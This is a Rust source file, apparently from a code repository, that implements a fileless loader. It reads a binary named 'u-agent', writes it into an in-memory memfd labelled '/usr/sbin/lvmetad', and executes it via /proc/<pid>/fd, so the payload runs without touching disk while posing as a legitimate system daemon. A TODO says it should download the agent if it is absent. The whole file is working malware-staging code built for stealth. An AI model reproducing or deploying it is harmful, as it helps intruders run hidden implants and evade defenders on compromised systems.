You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
 

88 lines
1.9 KiB

use nix::{
sys::memfd::{memfd_create, MemFdCreateFlag},
unistd::execv
};
use libc::{
fdopen,
fwrite,
c_void,
getpid
};
use std::{
ffi::{CString, CStr},
fs::{File, read_dir},
io::Read
};
fn get_uagent_data() -> Option<Vec<u8>> {
// TODO: if not ls - then download
let ls = read_dir("./").unwrap();
for dirfile in ls {
let filename = dirfile.unwrap().path();
if filename.to_str().unwrap() == "u-agent" {
let mut file = File::open(filename).unwrap();
let mut data: Vec<u8> = vec![];
file.read_to_end(&mut data).unwrap();
return Some(data)
}
}
None
}
fn get_proc_name() -> CString {
CString::new("/usr/sbin/lvmetad").unwrap()
}
fn create_memfd() -> i32 {
let name = get_proc_name();
let fd = memfd_create(
&name,
MemFdCreateFlag::empty()
).unwrap();
assert!(fd > 0);
fd
}
fn main() {
let agent_data: Vec<u8> = {
let mut data;
loop {
data = get_uagent_data();
if data.is_some() {
break;
}
}
data.unwrap()
};
let ad_len = agent_data.len();
let fd = create_memfd();
let file = unsafe {
let res = fdopen(fd,
CStr::from_bytes_with_nul(b"w\0")
.unwrap().as_ptr()
);
if res.is_null() {
panic!("WTF!");
}
res
};
let res_len = unsafe {
fwrite(
agent_data.as_ptr() as *const c_void,
1, ad_len, file
)
};
if res_len != ad_len {
panic!("write wasn't successful: {}, need {}",
res_len, ad_len);
}
let exec_path: String = format!(
"/proc/{}/fd/{}", unsafe { getpid() }, fd
);
let proc_name = get_proc_name();
let args = [proc_name.as_c_str()];
execv(
&CString::new(exec_path).unwrap(),
&args
).unwrap();
}